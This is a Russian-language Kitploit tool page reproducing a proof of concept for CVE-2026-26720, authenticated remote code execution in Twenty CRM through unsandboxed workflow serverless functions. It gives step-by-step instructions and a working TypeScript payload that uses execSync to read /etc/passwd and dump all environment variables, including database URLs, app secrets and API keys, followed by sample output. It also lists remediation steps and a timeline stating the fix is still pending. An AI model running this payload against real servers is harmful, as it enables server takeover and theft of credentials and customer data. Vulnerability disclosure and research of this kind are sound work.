Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-26720-Twenty-RCE — Доказательство концепции аутентифицированного удалённого выполнения кода в Twenty CRM через непесочные серверные бессерверные функции рабочих процессов, позволяющее произвольное выполнение команд Node.js и раскрытие переменных окружения. | Kitploit
Инструменты/GitHubGitHub/dillonkirsch/cve-2026-26720-twenty-rce
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийБезопасность облачных средНеправильная Конфигурация
GitHubdillonkirsch/cve-2026-26720-twenty-rce

CVE-2026-26720-Twenty-RCE

Доказательство концепции аутентифицированного удалённого выполнения кода в Twenty CRM через непесочные серверные бессерверные функции рабочих процессов, позволяющее произвольное выполнение команд Node.js и раскрытие переменных окружения.

Репозиторий
7 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Twenty CRM - Аутентифицированное удалённое выполнение кода (RCE)

Обзор

Продукт: Twenty CRM

Уязвимость: Удалённое выполнение кода (RCE) через серверless-функции рабочих процессов

Критичность: Критическая

Затронутый компонент: Автоматизация рабочих процессов (Код - Серверless-функция)

Протестированная версия: v1.15.0

В этом репозитории задокументирована критическая уязвимость в движке рабочих процессов Twenty CRM. Компонент «Код - Серверless-функция» позволяет аутентифицированным пользователям выполнять произвольный код Node.js. Из-за отсутствия песочницы (sandboxing) можно импортировать модуль child_process и выполнять системные команды на хост-сервере.

Детали уязвимости

Приложение позволяет пользователям создавать пользовательские рабочие процессы автоматизации, которые включают шаг выполнения кода. Хотя это предназначено для манипуляции данными, среда выполнения не ограничивает должным образом доступ к встроенным модулям Node.js или базовой операционной системе.

Злоумышленник может использовать execSync из библиотеки child_process, чтобы:

  1. Выполнять shell-команды (например, cat, ls, whoami).
  2. Читать конфиденциальные файлы из файловой системы (например, /etc/passwd).
  3. Выгружать переменные окружения (process.env), раскрывая учётные данные базы данных, ключи API и секреты приложения.

Доказательство концепции (PoC)

Шаги для воспроизведения

  1. Войдите в Twenty CRM.
  2. Перейдите в Настройки > Рабочие процессы.
  3. Создайте новый рабочий процесс с ручным триггером.
  4. Добавьте действие: Код - Серверless-функция.
  5. Вставьте следующий TypeScript-пейлоад в редактор кода:
root@kitploit:~
import { execSync } from 'child_process';

export const main = async (params: any): Promise<object> => {
  try {
    // 1. Удалённое выполнение команд: чтение системных пользователей
    const output = execSync('cat /etc/passwd').toString();
    
    // 2. Раскрытие информации: выгрузка всех переменных окружения (секретов)
    const secrets = JSON.stringify(process.env);
    
    return { 
      data: output, 
      secrets: secrets 
    };
  } catch (e: any) {
    return { error: e.message };
  }
};

  1. Сохраните и запустите рабочий процесс.

Обзор кода

Наблюдаемый результат

Рабочий процесс выполняется успешно и возвращает системные данные.

Доступ к системному файлу (/etc/passwd):

root@kitploit:~
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
postgres:x:70:70:PostgreSQL user:/var/lib/postgresql:/bin/sh
...

Утёкшие переменные окружения: Выгрузка process.env раскрыла критически важные данные конфигурации:

  • PG_DATABASE_URL (учётные данные базы данных)
  • APP_SECRET (ключи подписи)
  • REDIS_URL
  • AWS_ACCESS_KEY (если настроен)

Влияние

Эта уязвимость позволяет аутентифицированному пользователю (с правами на создание рабочих процессов) добиться полной компрометации системы.

  • Конфиденциальность: Злоумышленники могут прочитать все данные в базе данных и файловой системе.
  • Целостность: Злоумышленники могут изменить код приложения, удалить данные или внедрить вредоносное ПО.
  • Доступность: Злоумышленники могут отключить сервер или исчерпать все ресурсы.

Устранение

Для исправления этой проблемы функция «Серверless-функция» требует надлежащей изоляции.

  • Внедрение песочницы: Код должен выполняться в ограниченной среде (например, в песочнице VM2, в выделенном Docker-контейнере без доступа к сети/томам или в микро-VM, такой как Firecracker).
  • Ограничение модулей: Отключите доступ к чувствительным модулям Node.js, таким как child_process, fs и net.
  • Очистка переменных окружения: Убедитесь, что контекст выполнения не наследует переменные окружения родительского процесса (которые содержат секреты приложения).

Хронология

  • 8 января 2026 г.: Уязвимость обнаружена.
  • [Дата]: Сообщено команде безопасности Twenty CRM.
  • [Статус]: Ожидается исправление.
Скачать инструмент